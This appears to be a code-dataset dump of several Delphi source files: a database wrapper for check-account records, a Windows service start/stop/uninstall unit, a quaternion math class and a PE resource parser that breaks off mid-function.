text
stringlengths
14
6.51M
unit InfoXCHKACCTTable; interface uses Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf; type TInfoXCHKACCTRecord = record PAcctID: String[4]; PModCount: String[1]; PName: String[30]; PAccountNo: String[20]; PNextChkNo: String[6]; PRConDate: String[8]; PRConBal: Currency; End; TInfoXCHKACCTClass2 = class public PAcctID: String[4]; PModCount: String[1]; PName: String[30]; PAccountNo: String[20]; PNextChkNo: String[6]; PRConDate: String[8]; PRConBal: Currency; End; // function CtoRInfoXCHKACCT(AClass:TInfoXCHKACCTClass):TInfoXCHKACCTRecord; // procedure RtoCInfoXCHKACCT(ARecord:TInfoXCHKACCTRecord;AClass:TInfoXCHKACCTClass); TInfoXCHKACCTBuffer = class(TDataBuf) protected function PtrIndex(Index:integer):Pointer;override; public Data: TInfoXCHKACCTRecord; function FieldNameToIndex(s:string):integer;override; function FieldType(index:integer):TFieldType;override; end; TEIInfoXCHKACCT = (InfoXCHKACCTPrimaryKey); TInfoXCHKACCTTable = class( TDBISAMTableAU ) private FDFAcctID: TStringField; FDFModCount: TStringField; FDFName: TStringField; FDFAccountNo: TStringField; FDFNextChkNo: TStringField; FDFRConDate: TStringField; FDFRConBal: TCurrencyField; FDFCheckFmt: TBlobField; procedure SetPAcctID(const Value: String); function GetPAcctID:String; procedure SetPModCount(const Value: String); function GetPModCount:String; procedure SetPName(const Value: String); function GetPName:String; procedure SetPAccountNo(const Value: String); function GetPAccountNo:String; procedure SetPNextChkNo(const Value: String); function GetPNextChkNo:String; procedure SetPRConDate(const Value: String); function GetPRConDate:String; procedure SetPRConBal(const Value: Currency); function GetPRConBal:Currency; function GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string; procedure SetEnumIndex(Value: TEIInfoXCHKACCT); function GetEnumIndex: TEIInfoXCHKACCT; protected function CreateField( const FieldName : string ): TField; procedure CreateFields; reintroduce; procedure SetActive(Value: Boolean); override; procedure LoadFieldDefs(AStringList:TStringList);override; procedure LoadIndexDefs(AStringList:TStringList);override; public function GetDataBuffer:TInfoXCHKACCTRecord; procedure StoreDataBuffer(ABuffer:TInfoXCHKACCTRecord); property DFAcctID: TStringField read FDFAcctID; property DFModCount: TStringField read FDFModCount; property DFName: TStringField read FDFName; property DFAccountNo: TStringField read FDFAccountNo; property DFNextChkNo: TStringField read FDFNextChkNo; property DFRConDate: TStringField read FDFRConDate; property DFRConBal: TCurrencyField read FDFRConBal; property DFCheckFmt: TBlobField read FDFCheckFmt; property PAcctID: String read GetPAcctID write SetPAcctID; property PModCount: String read GetPModCount write SetPModCount; property PName: String read GetPName write SetPName; property PAccountNo: String read GetPAccountNo write SetPAccountNo; property PNextChkNo: String read GetPNextChkNo write SetPNextChkNo; property PRConDate: String read GetPRConDate write SetPRConDate; property PRConBal: Currency read GetPRConBal write SetPRConBal; published property Active write SetActive; property EnumIndex: TEIInfoXCHKACCT read GetEnumIndex write SetEnumIndex; end; { TInfoXCHKACCTTable } TInfoXCHKACCTQuery = class( TDBISAMQueryAU ) private FDFAcctID: TStringField; FDFModCount: TStringField; FDFName: TStringField; FDFAccountNo: TStringField; FDFNextChkNo: TStringField; FDFRConDate: TStringField; FDFRConBal: TCurrencyField; FDFCheckFmt: TBlobField; procedure SetPAcctID(const Value: String); function GetPAcctID:String; procedure SetPModCount(const Value: String); function GetPModCount:String; procedure SetPName(const Value: String); function GetPName:String; procedure SetPAccountNo(const Value: String); function GetPAccountNo:String; procedure SetPNextChkNo(const Value: String); function GetPNextChkNo:String; procedure SetPRConDate(const Value: String); function GetPRConDate:String; procedure SetPRConBal(const Value: Currency); function GetPRConBal:Currency; function GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string; protected function CreateField( const FieldName : string ): TField; procedure CreateFields; reintroduce; procedure SetActive(Value: Boolean); override; public function GetDataBuffer:TInfoXCHKACCTRecord; procedure StoreDataBuffer(ABuffer:TInfoXCHKACCTRecord); property DFAcctID: TStringField read FDFAcctID; property DFModCount: TStringField read FDFModCount; property DFName: TStringField read FDFName; property DFAccountNo: TStringField read FDFAccountNo; property DFNextChkNo: TStringField read FDFNextChkNo; property DFRConDate: TStringField read FDFRConDate; property DFRConBal: TCurrencyField read FDFRConBal; property DFCheckFmt: TBlobField read FDFCheckFmt; property PAcctID: String read GetPAcctID write SetPAcctID; property PModCount: String read GetPModCount write SetPModCount; property PName: String read GetPName write SetPName; property PAccountNo: String read GetPAccountNo write SetPAccountNo; property PNextChkNo: String read GetPNextChkNo write SetPNextChkNo; property PRConDate: String read GetPRConDate write SetPRConDate; property PRConBal: Currency read GetPRConBal write SetPRConBal; published property Active write SetActive; end; { TInfoXCHKACCTTable } procedure Register; implementation function TInfoXCHKACCTTable.GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string; var I: Integer; NewName: string; Done: Boolean; function ComponentExists( AOwner: TComponent; const CompName: string ): Boolean; var I: Integer; begin Result := False; for I := 0 To AOwner.ComponentCount - 1 do begin if AnsiCompareText( CompName, AOwner.Components[ I ].Name ) = 0 then begin Result := True; Break; end; end; end; { ComponentExists } begin { TInfoXCHKACCTTable.GenerateNewFieldName } NewName := DatasetName; for I := 1 to Length( FieldName ) do begin if FieldName[ I ] in [ '0'..'9', '_', 'A'..'Z', 'a'..'z' ] then NewName := NewName + FieldName[ I ]; end; if ComponentExists( Owner, NewName ) then begin I := 1; Done := False; repeat Inc( I ); if not ComponentExists( AOwner, NewName + IntToStr( I ) ) then begin Result := NewName + IntToStr( I ); Done := True; end; until Done; end else Result := NewName; end; { TInfoXCHKACCTTable.GenerateNewFieldName } function TInfoXCHKACCTTable.CreateField( const FieldName : string ): TField; begin { First, try to find an existing field object. FindField is the same } { as FieldByName, but does not raise an exception if the field object } { cannot be found. } Result := FindField( FieldName ); if Result = nil then begin { If an existing field object cannot be found... } { Instruct the FieldDefs object to create a new field object } Result := FieldDefs.Find( FieldName ).CreateField( Owner ); { The new field object must be given a name so that it may appear in } { the Object Inspector. The Delphi default naming convention is used.} Result.Name := GenerateNewFieldName( Owner, Name, FieldName); end; end; { TInfoXCHKACCTTable.CreateField } procedure TInfoXCHKACCTTable.CreateFields; begin FDFAcctID := CreateField( 'AcctID' ) as TStringField; FDFModCount := CreateField( 'ModCount' ) as TStringField; FDFName := CreateField( 'Name' ) as TStringField; FDFAccountNo := CreateField( 'AccountNo' ) as TStringField; FDFNextChkNo := CreateField( 'NextChkNo' ) as TStringField; FDFRConDate := CreateField( 'RConDate' ) as TStringField; FDFRConBal := CreateField( 'RConBal' ) as TCurrencyField; FDFCheckFmt := CreateField( 'CheckFmt' ) as TBlobField; end; { TInfoXCHKACCTTable.CreateFields } procedure TInfoXCHKACCTTable.SetActive(Value: Boolean); begin inherited SetActive(Value); if Active then CreateFields; end; { TInfoXCHKACCTTable.SetActive } procedure TInfoXCHKACCTTable.SetPAcctID(const Value: String); begin DFAcctID.Value := Value; end; function TInfoXCHKACCTTable.GetPAcctID:String; begin result := DFAcctID.Value; end; procedure TInfoXCHKACCTTable.SetPModCount(const Value: String); begin DFModCount.Value := Value; end; function TInfoXCHKACCTTable.GetPModCount:String; begin result := DFModCount.Value; end; procedure TInfoXCHKACCTTable.SetPName(const Value: String); begin DFName.Value := Value; end; function TInfoXCHKACCTTable.GetPName:String; begin result := DFName.Value; end; procedure TInfoXCHKACCTTable.SetPAccountNo(const Value: String); begin DFAccountNo.Value := Value; end; function TInfoXCHKACCTTable.GetPAccountNo:String; begin result := DFAccountNo.Value; end; procedure TInfoXCHKACCTTable.SetPNextChkNo(const Value: String); begin DFNextChkNo.Value := Value; end; function TInfoXCHKACCTTable.GetPNextChkNo:String; begin result := DFNextChkNo.Value; end; procedure TInfoXCHKACCTTable.SetPRConDate(const Value: String); begin DFRConDate.Value := Value; end; function TInfoXCHKACCTTable.GetPRConDate:String; begin result := DFRConDate.Value; end; procedure TInfoXCHKACCTTable.SetPRConBal(const Value: Currency); begin DFRConBal.Value := Value; end; function TInfoXCHKACCTTable.GetPRConBal:Currency; begin result := DFRConBal.Value; end; procedure TInfoXCHKACCTTable.LoadFieldDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('AcctID, String, 4, N'); Add('ModCount, String, 1, N'); Add('Name, String, 30, N'); Add('AccountNo, String, 20, N'); Add('NextChkNo, String, 6, N'); Add('RConDate, String, 8, N'); Add('RConBal, Currency, 0, N'); Add('CheckFmt, Memo, 0, N'); end; end; procedure TInfoXCHKACCTTable.LoadIndexDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('PrimaryKey, AcctID, Y, Y, N, N'); end; end; procedure TInfoXCHKACCTTable.SetEnumIndex(Value: TEIInfoXCHKACCT); begin case Value of InfoXCHKACCTPrimaryKey : IndexName := ''; end; end; function TInfoXCHKACCTTable.GetDataBuffer:TInfoXCHKACCTRecord; var buf: TInfoXCHKACCTRecord; begin fillchar(buf, sizeof(buf), 0); buf.PAcctID := DFAcctID.Value; buf.PModCount := DFModCount.Value; buf.PName := DFName.Value; buf.PAccountNo := DFAccountNo.Value; buf.PNextChkNo := DFNextChkNo.Value; buf.PRConDate := DFRConDate.Value; buf.PRConBal := DFRConBal.Value; result := buf; end; procedure TInfoXCHKACCTTable.StoreDataBuffer(ABuffer:TInfoXCHKACCTRecord); begin DFAcctID.Value := ABuffer.PAcctID; DFModCount.Value := ABuffer.PModCount; DFName.Value := ABuffer.PName; DFAccountNo.Value := ABuffer.PAccountNo; DFNextChkNo.Value := ABuffer.PNextChkNo; DFRConDate.Value := ABuffer.PRConDate; DFRConBal.Value := ABuffer.PRConBal; end; function TInfoXCHKACCTTable.GetEnumIndex: TEIInfoXCHKACCT; var iname : string; begin result := InfoXCHKACCTPrimaryKey; iname := uppercase(indexname); if iname = '' then result := InfoXCHKACCTPrimaryKey; end; function TInfoXCHKACCTQuery.GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string; var I: Integer; NewName: string; Done: Boolean; function ComponentExists( AOwner: TComponent; const CompName: string ): Boolean; var I: Integer; begin Result := False; for I := 0 To AOwner.ComponentCount - 1 do begin if AnsiCompareText( CompName, AOwner.Components[ I ].Name ) = 0 then begin Result := True; Break; end; end; end; { ComponentExists } begin { TInfoXCHKACCTQuery.GenerateNewFieldName } NewName := DatasetName; for I := 1 to Length( FieldName ) do begin if FieldName[ I ] in [ '0'..'9', '_', 'A'..'Z', 'a'..'z' ] then NewName := NewName + FieldName[ I ]; end; if ComponentExists( Owner, NewName ) then begin I := 1; Done := False; repeat Inc( I ); if not ComponentExists( AOwner, NewName + IntToStr( I ) ) then begin Result := NewName + IntToStr( I ); Done := True; end; until Done; end else Result := NewName; end; { TInfoXCHKACCTQuery.GenerateNewFieldName } function TInfoXCHKACCTQuery.CreateField( const FieldName : string ): TField; begin { First, try to find an existing field object. FindField is the same } { as FieldByName, but does not raise an exception if the field object } { cannot be found. } Result := FindField( FieldName ); if Result = nil then begin { If an existing field object cannot be found... } { Instruct the FieldDefs object to create a new field object } Result := FieldDefs.Find( FieldName ).CreateField( Owner ); { The new field object must be given a name so that it may appear in } { the Object Inspector. The Delphi default naming convention is used.} Result.Name := GenerateNewFieldName( Owner, Name, FieldName); end; end; { TInfoXCHKACCTQuery.CreateField } procedure TInfoXCHKACCTQuery.CreateFields; begin FDFAcctID := CreateField( 'AcctID' ) as TStringField; FDFModCount := CreateField( 'ModCount' ) as TStringField; FDFName := CreateField( 'Name' ) as TStringField; FDFAccountNo := CreateField( 'AccountNo' ) as TStringField; FDFNextChkNo := CreateField( 'NextChkNo' ) as TStringField; FDFRConDate := CreateField( 'RConDate' ) as TStringField; FDFRConBal := CreateField( 'RConBal' ) as TCurrencyField; FDFCheckFmt := CreateField( 'CheckFmt' ) as TBlobField; end; { TInfoXCHKACCTQuery.CreateFields } procedure TInfoXCHKACCTQuery.SetActive(Value: Boolean); begin inherited SetActive(Value); if Active then CreateFields; end; { TInfoXCHKACCTQuery.SetActive } procedure TInfoXCHKACCTQuery.SetPAcctID(const Value: String); begin DFAcctID.Value := Value; end; function TInfoXCHKACCTQuery.GetPAcctID:String; begin result := DFAcctID.Value; end; procedure TInfoXCHKACCTQuery.SetPModCount(const Value: String); begin DFModCount.Value := Value; end; function TInfoXCHKACCTQuery.GetPModCount:String; begin result := DFModCount.Value; end; procedure TInfoXCHKACCTQuery.SetPName(const Value: String); begin DFName.Value := Value; end; function TInfoXCHKACCTQuery.GetPName:String; begin result := DFName.Value; end; procedure TInfoXCHKACCTQuery.SetPAccountNo(const Value: String); begin DFAccountNo.Value := Value; end; function TInfoXCHKACCTQuery.GetPAccountNo:String; begin result := DFAccountNo.Value; end; procedure TInfoXCHKACCTQuery.SetPNextChkNo(const Value: String); begin DFNextChkNo.Value := Value; end; function TInfoXCHKACCTQuery.GetPNextChkNo:String; begin result := DFNextChkNo.Value; end; procedure TInfoXCHKACCTQuery.SetPRConDate(const Value: String); begin DFRConDate.Value := Value; end; function TInfoXCHKACCTQuery.GetPRConDate:String; begin result := DFRConDate.Value; end; procedure TInfoXCHKACCTQuery.SetPRConBal(const Value: Currency); begin DFRConBal.Value := Value; end; function TInfoXCHKACCTQuery.GetPRConBal:Currency; begin result := DFRConBal.Value; end; function TInfoXCHKACCTQuery.GetDataBuffer:TInfoXCHKACCTRecord; var buf: TInfoXCHKACCTRecord; begin fillchar(buf, sizeof(buf), 0); buf.PAcctID := DFAcctID.Value; buf.PModCount := DFModCount.Value; buf.PName := DFName.Value; buf.PAccountNo := DFAccountNo.Value; buf.PNextChkNo := DFNextChkNo.Value; buf.PRConDate := DFRConDate.Value; buf.PRConBal := DFRConBal.Value; result := buf; end; procedure TInfoXCHKACCTQuery.StoreDataBuffer(ABuffer:TInfoXCHKACCTRecord); begin DFAcctID.Value := ABuffer.PAcctID; DFModCount.Value := ABuffer.PModCount; DFName.Value := ABuffer.PName; DFAccountNo.Value := ABuffer.PAccountNo; DFNextChkNo.Value := ABuffer.PNextChkNo; DFRConDate.Value := ABuffer.PRConDate; DFRConBal.Value := ABuffer.PRConBal; end; (********************************************) (************ Register Component ************) (********************************************) procedure Register; begin RegisterComponents( 'Info Tables', [ TInfoXCHKACCTTable, TInfoXCHKACCTQuery, TInfoXCHKACCTBuffer ] ); end; { Register } function TInfoXCHKACCTBuffer.FieldNameToIndex(s:string):integer; const flist:array[1..7] of string = ('ACCTID','MODCOUNT','NAME','ACCOUNTNO','NEXTCHKNO','RCONDATE' ,'RCONBAL' ); var x : integer; begin s := uppercase(s); x := 1; while (x <= 7) and (flist[x] <> s) do inc(x); if x <= 7 then result := x else result := 0; end; function TInfoXCHKACCTBuffer.FieldType(index:integer):TFieldType; begin result := ftUnknown; case index of 1 : result := ftString; 2 : result := ftString; 3 : result := ftString; 4 : result := ftString; 5 : result := ftString; 6 : result := ftString; 7 : result := ftCurrency; end; end; function TInfoXCHKACCTBuffer.PtrIndex(index:integer):Pointer; begin result := nil; case index of 1 : result := @Data.PAcctID; 2 : result := @Data.PModCount; 3 : result := @Data.PName; 4 : result := @Data.PAccountNo; 5 : result := @Data.PNextChkNo; 6 : result := @Data.PRConDate; 7 : result := @Data.PRConBal; end; end; end.
{ *************************************************************************** Copyright (c) 2016-2018 Kike Pérez Unit : Quick.Service Description : Service functions Author : Kike Pérez Version : 1.1 Created : 14/07/2017 Modified : 30/08/2018 This file is part of QuickLib: https://github.com/exilon/QuickLib *************************************************************************** Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *************************************************************************** } unit Quick.Service; interface {$i QuickLib.inc} uses SysUtils, {$IFDEF MSWINDOWS} Windows, Messages, WinSvc, {$ENDIF} {$IFNDEF FPC} System.IOUtils, {$ELSE} Quick.Files, {$ENDIF} Quick.Commons, Quick.Process; {$IFDEF MSWINDOWS} type TServiceState = (ssUnknow = -1, ssStopped = SERVICE_STOPPED, ssStartPending = SERVICE_START_PENDING, ssStopPending = SERVICE_STOP_PENDING, ssRunning = SERVICE_RUNNING, ssContinuePending = SERVICE_CONTINUE_PENDING, ssPausePending = SERVICE_PAUSE_PENDING, ssPaused = SERVICE_PAUSED); {$ENDIF} {$IFDEF MSWINDOWS} function ServiceIsPresent(const aServiceName : string): Boolean; overload; function ServiceIsPresent(const aMachine, aServiceName : string): Boolean; overload; function GetServicePath : string; function GetServiceState(const aServer, aServiceName : string) : TServiceState; function ServiceStart(const aServiceName : string) : Boolean; overload; function ServiceStop(const aServiceName : string ) : Boolean; overload; function ServiceStart(const aMachine, aServiceName : string) : Boolean; overload; function ServiceStop(const aMachine, aServiceName : string ) : Boolean; overload; {$ELSE} function ServiceIsPresent(const aServiceName : string): Boolean; function ServiceStart(const aServiceName : string) : Boolean; function ServiceStop(const aServiceName : string ) : Boolean; {$ENDIF} function ServiceUninstall(const aServiceName : string): Boolean; {$IFDEF MSWINDOWS} function DeleteServiceEx(svcName : string) : Boolean; {$ENDIF} implementation function ServiceIsPresent(const aServiceName : string) : Boolean; {$IFDEF MSWINDOWS} begin Result := ServiceIsPresent('localhost',aServiceName); end; {$ELSE} begin end; {$ENDIF} function ServiceStart(const aServiceName : string) : Boolean; {$IFDEF MSWINDOWS} begin Result := ServiceStart('localhost',aServiceName); end; {$ELSE} begin end; {$ENDIF} function ServiceStop(const aServiceName : string) : Boolean; {$IFDEF MSWINDOWS} begin Result := ServiceStop('localhost',aServiceName); end; {$ELSE} begin end; {$ENDIF} {$IFDEF MSWINDOWS} function ServiceIsPresent(const aMachine, aServiceName : string): Boolean; var smanHnd : SC_Handle; svchnd : SC_Handle; begin Result := False; smanHnd := OpenSCManager(PChar(aMachine), nil, SC_MANAGER_CONNECT); if (smanHnd > 0) then begin try svcHnd := OpenService(smanHnd, PChar(aServiceName), SERVICE_QUERY_STATUS); if svcHnd > 0 then begin Result := True; CloseServiceHandle(svchnd); end; finally CloseServiceHandle(smanHnd); end; end else raise Exception.CreateFmt('GetServiceState failed: %s',[GetLastOSError]); end; function GetServicePath : string; var filename : array[0..255] of Char; begin GetModuleFileName(hInstance,filename,255); Result := TPath.GetDirectoryName(filename); end; function GetServiceState(const aServer, aServiceName : string) : TServiceState; var svcStatus : TServiceStatus; smanHnd : SC_Handle; svcHnd : SC_Handle; begin Result := TServiceState.ssUnknow; smanHnd := OpenSCManager(PChar(aServer), Nil, SC_MANAGER_ALL_ACCESS); if smanHnd > 0 then begin try svcHnd := OpenService(smanHnd, PChar(aServiceName), SERVICE_ALL_ACCESS); if svcHnd > 0 then try if not QueryServiceStatus(svcHnd,svcStatus) then raise Exception.CreateFmt('GetServiceState failed: %s',[GetLastOSError]); Result := TServiceState(svcStatus.dwCurrentState); finally CloseServiceHandle(svcHnd); end; finally CloseServiceHandle(smanHnd); end; end else raise Exception.CreateFmt('GetServiceState failed: %s',[GetLastOSError]); end; function ServiceStart(const aMachine, aServiceName : string) : Boolean; var smanHnd : SC_HANDLE; svcHnd : SC_HANDLE; svcStatus : TServiceStatus; {$IFDEF FPC} psTemp : LPPCSTR; {$ELSE} psTemp : PChar; {$ENDIF} dwChkP : DWord; begin svcStatus.dwCurrentState := 0; smanHnd := OpenSCManager(PChar(aMachine),nil,SC_MANAGER_CONNECT); if smanHnd > 0 then begin try svcHnd := OpenService(smanHnd,PChar(aServiceName),SERVICE_START or SERVICE_QUERY_STATUS); if svcHnd > 0 then try psTemp := nil; if StartService(svcHnd,0,psTemp) then begin if QueryServiceStatus(svcHnd,svcStatus) then begin while svcStatus.dwCurrentState = SERVICE_START_PENDING do begin dwChkP := svcStatus.dwCheckPoint; Sleep(svcStatus.dwWaitHint); if not QueryServiceStatus(svcHnd,svcStatus) then Break; if svcStatus.dwCheckPoint < dwChkP then Break; end; end; end; finally CloseServiceHandle(svcHnd); end; finally CloseServiceHandle(smanHnd); end; end else raise Exception.CreateFmt('GetServiceState failed: %s',[GetLastOSError]); Result := SERVICE_RUNNING = svcStatus.dwCurrentState; end; function ServiceStop(const aMachine, aServiceName : string ) : Boolean; var smanHnd : SC_HANDLE; svcHnd : SC_HANDLE; svcStatus : TServiceStatus; dwChkP : DWord; begin smanHnd := OpenSCManager(PChar(aMachine),nil,SC_MANAGER_CONNECT); if smanHnd > 0 then try svcHnd := OpenService(smanHnd,PChar(aServiceName),SERVICE_STOP or SERVICE_QUERY_STATUS); if svcHnd > 0 then try if ControlService(svcHnd,SERVICE_CONTROL_STOP,svcStatus) then begin if QueryServiceStatus(svcHnd,svcStatus) then begin while svcStatus.dwCurrentState <> SERVICE_STOPPED do begin dwChkP := svcStatus.dwCheckPoint; Sleep(svcStatus.dwWaitHint); if not QueryServiceStatus(svcHnd,svcStatus) then Break; if svcStatus.dwCheckPoint < dwChkP then Break; end; end; end; finally CloseServiceHandle(svcHnd); end; finally CloseServiceHandle(smanHnd); end; Result := SERVICE_STOPPED = svcStatus.dwCurrentState; end; {$ENDIF} function ServiceUninstall(const aServiceName : string): Boolean; {$IFDEF MSWINDOWS} var smanHnd : SC_Handle; svchnd : SC_Handle; strMachineName: String; begin strMachineName := 'localhost'; smanHnd := OpenSCManager(PChar(strMachineName), nil, SC_MANAGER_CONNECT); if smanHnd > 0 then begin try svchnd := OpenService(smanHnd, PChar(aServiceName), SERVICE_ALL_ACCESS or SERVICE_STOP); if svchnd > 0 then begin try {$IFDEF FPC} DeleteServiceEx(aServiceName); {$ELSE} WinSVC.DeleteService(svchnd); {$ENDIF} Result := True; finally CloseServiceHandle(svchnd); end; end else if svchnd = 0 Then Result := True else Result := False; finally CloseServiceHandle(smanHnd); end; end; end; {$ELSE} begin end; {$ENDIF} {$IFDEF MSWINDOWS} function DeleteServiceEx(svcName : string) : Boolean; begin Result := False; if ShellExecuteAndWait('open','sc','stop '+svcName,'',0,True) = 0 then begin Result := ShellExecuteAndWait('open','sc','delete '+svcName,'',0,True) = 0; end; end; {$ENDIF} end.
unit quaternion_lib; interface uses classes,streaming_class_lib,sysUtils; type TAbstractQuaternion=class(TStreamingClass) protected procedure set_A(val: Real); virtual; abstract; procedure set_X(val: Real); virtual; abstract; procedure set_Y(val: Real); virtual; abstract; procedure set_Z(val: Real); virtual; abstract; function get_A: Real; virtual; abstract; function get_X: Real; virtual; abstract; function get_Y: Real; virtual; abstract; function get_Z: Real; virtual; abstract; public procedure Clear; override; procedure left_mul(by: TAbstractQuaternion); procedure right_mul(by: TAbstractQuaternion); procedure conjugate; procedure normalize; procedure Assign(Source:TPersistent);overload; override; procedure Assign(na,nx,ny,nz: Real); reintroduce; overload; function toStr: string; property a: Real read get_A write set_A; property x: Real read get_X write set_X; property y: Real read get_Y write set_Y; property z: Real read get_Z write set_Z; end; Tquaternion=class(TAbstractQuaternion) private _a,_x,_y,_z: Real; protected procedure set_A(val: Real); override; procedure set_X(val: Real); override; procedure set_Y(val: Real); override; procedure set_Z(val: Real); override; function get_A: Real; override; function get_X: Real; override; function get_Y: Real; override; function get_Z: Real; override; public Constructor Create(owner: TComponent); overload; override; Constructor Create(owner: TComponent;na,nx,ny,nz: Real);reintroduce; overload; end; TstupidQuat=class(TAbstractQuaternion) private _a,_x,_y,_z: Single; protected procedure set_A(val: Real); override; procedure set_X(val: Real); override; procedure set_Y(val: Real); override; procedure set_Z(val: Real); override; function get_A: Real; override; function get_X: Real; override; function get_Y: Real; override; function get_Z: Real; override; public Constructor Create(owner: TComponent); overload; override; Constructor Create(owner: TComponent;na,nx,ny,nz: Real);reintroduce; overload; end; implementation (* TAbstractQuaternion *) function TAbstractQuaternion.toStr: string; begin result:=FloatToStr(a)+#9+FloatToStr(x)+'i'+#9+FloatToStr(y)+'j'+#9+FloatToStr(z)+'k'; end; procedure TAbstractQuaternion.Clear; begin a:=0; x:=0; y:=0; z:=0; end; procedure TAbstractQuaternion.conjugate; begin x:=-x; y:=-y; z:=-z; end; procedure TAbstractQuaternion.normalize; var n: Real; begin n:=a*a+x*x+y*y+z*z; assert(n>0,'normalize: quaternion has zero length'); n:=sqrt(n); a:=a/n; x:=x/n; y:=y/n; z:=z/n; end; procedure TAbstractQuaternion.right_mul(by: TAbstractQuaternion); //умножение справа var at,xt,yt: Real; //врем. значения begin at:=a; a:=a*by.a-x*by.x-Y*by.y-Z*by.Z; xt:=x; X:=at*by.X+X*by.A+Y*by.Z-Z*by.Y; yt:=y; Y:=at*by.Y-xt*by.Z+Y*by.A+Z*by.X; Z:=at*by.Z+xt*by.Y-yt*by.X+Z*by.A end; procedure TAbstractQuaternion.left_mul(by: TAbstractQuaternion); //умножение слева var at,xt,yt: Real; //врем. значения begin at:=a; a:=by.a*a-by.x*x-by.y*Y-by.z*z; // _a:=_a*by._a-_x*by._x-_Y*by._y-_Z*by._Z; xt:=x; x:=by.a*x+by.x*at+by.y*z-by.z*y; // _X:=at*by._X+_X*by._A+_Y*by._Z-_Z*by._Y; yt:=y; y:=by.a*y-by.x*z+by.y*at+by.z*xt; // _Y:=at*by._Y-xt*by._Z+_Y*by._A+_Z*by._X; z:=by.a*z+by.x*yt-by.y*xt+by.z*at; // _Z:=at*by._Z+xt*by._Y-yt*by._X+_Z*by._A end; procedure TAbstractQuaternion.Assign(Source: TPersistent); var q: TAbstractQuaternion absolute Source; begin if Source is TAbstractQuaternion then begin a:=q.a; x:=q.x; y:=q.y; z:=q.z; end else inherited Assign(Source); end; procedure TAbstractQuaternion.Assign(na,nx,ny,nz: Real); begin a:=na; x:=nx; y:=ny; z:=nz; end; (* TQuaternion *) constructor Tquaternion.Create(owner: TComponent); begin inherited Create(owner); end; constructor Tquaternion.Create(owner: TComponent; na,nx,ny,nz: Real); begin inherited Create(owner); a:=na; x:=nx; y:=ny; z:=nz; end; procedure TQuaternion.set_A(val: Real); begin _a:=val; end; procedure TQuaternion.set_X(val: Real); begin _x:=val; end; procedure TQuaternion.set_Y(val: Real); begin _y:=val; end; procedure TQuaternion.set_Z(val: Real); begin _z:=val; end; function TQuaternion.get_A: Real; begin Result:=_a; end; function TQuaternion.get_X: Real; begin Result:=_x; end; function TQuaternion.get_Y: Real; begin Result:=_y; end; function TQuaternion.get_Z: Real; begin Result:=_z; end; constructor TStupidQuat.Create(owner: TComponent); begin inherited Create(owner); end; constructor TStupidQuat.Create(owner: TComponent; na,nx,ny,nz: Real); begin inherited Create(owner); _a:=na; _x:=nx; _y:=ny; _z:=nz; end; procedure TStupidQuat.set_A(val: Real); begin _a:=val; end; procedure TStupidQuat.set_X(val: Real); begin _x:=val; end; procedure TStupidQuat.set_Y(val: Real); begin _y:=val; end; procedure TStupidQuat.set_Z(val: Real); begin _z:=val; end; function TStupidQuat.get_A: Real; begin Result:=_a; end; function TStupidQuat.get_X: Real; begin Result:=_x; end; function TStupidQuat.get_Y: Real; begin Result:=_y; end; function TStupidQuat.get_Z: Real; begin Result:=_z; end; end.
unit PE.Parser.Resources; interface uses System.SysUtils, PE.Common, PE.Types, PE.Types.Directories, PE.Types.Resources, PE.Resources; type TPEResourcesParser = class(TPEParser) protected FBaseRVA: TRVA; // RVA of RSRC section base FTree: TResourceTree; // Read resource node entry. function ReadEntry( ParentNode: TResourceTreeBranchNode; RVA: TRVA; Index: integer; RDT: PResourceDirectoryTable): TResourceTreeNode; // Read resource node. function ReadNode( ParentNode: TResourceTreeBranchNode; RVA: TRVA): TParserResult; function LogInvalidResourceSizesTraverse(Node: TResourceTreeNode): boolean; procedure LogInvalidResourceSizes; public function Parse: TParserResult; override; end; implementation uses PE.Image; { TPEResourcesParser } procedure TPEResourcesParser.LogInvalidResourceSizes; begin FTree.Root.Traverse(LogInvalidResourceSizesTraverse); end; function TPEResourcesParser.LogInvalidResourceSizesTraverse(Node: TResourceTreeNode): boolean; begin if Node.IsLeaf then if not TResourceTreeLeafNode(Node).ValidSize then TPEImage(FPE).Msg.Write(SCategoryResources, 'Bad size of resource (probably packed): %s', [Node.GetPath]); Result := True; end; function TPEResourcesParser.Parse: TParserResult; var Img: TPEImage; dir: TImageDataDirectory; begin Img := TPEImage(FPE); // Check if directory present. if not Img.DataDirectories.Get(DDIR_RESOURCE, @dir) then exit(PR_OK); if dir.IsEmpty then exit(PR_OK); // Store base RVA. FBaseRVA := dir.VirtualAddress; // Try to seek resource dir. if not Img.SeekRVA(FBaseRVA) then exit(PR_ERROR); // Read root and children. FTree := Img.ResourceTree; ReadNode(FTree.Root, FBaseRVA); // Log invalid leaf nodes. LogInvalidResourceSizes; exit(PR_OK); end; function TPEResourcesParser.ReadEntry( ParentNode: TResourceTreeBranchNode; RVA: TRVA; Index: integer; RDT: PResourceDirectoryTable): TResourceTreeNode; var Img: TPEImage; Entry: TResourceDirectoryEntry; DataEntry: TResourceDataEntry; SubRVA, DataRVA, NameRVA: TRVA; LeafNode: TResourceTreeLeafNode; BranchNode: TResourceTreeBranchNode; EntryName: string; begin Result := nil; Img := TPEImage(FPE); // Try to read entry. if not Img.SeekRVA(RVA + Index * SizeOf(Entry)) then begin Img.Msg.Write(SCategoryResources, 'Bad resource entry RVA.'); exit; end; if not Img.ReadEx(@Entry, SizeOf(Entry)) then begin Img.Msg.Write(SCategoryResources, 'Bad resource entry.'); exit; end; // Prepare entry name. EntryName := ''; if Entry.EntryType = ResourceEntryByName then begin NameRVA := FBaseRVA + Entry.NameRVA; if not Img.SeekRVA(NameRVA) then begin Img.Msg.Write(SCategoryResources, 'Bad entry name RVA (0x%x)', [NameRVA]); exit; end; EntryName := Img.ReadUnicodeStringLenPfx2; end; // Check if RVA of child is correct. DataRVA := 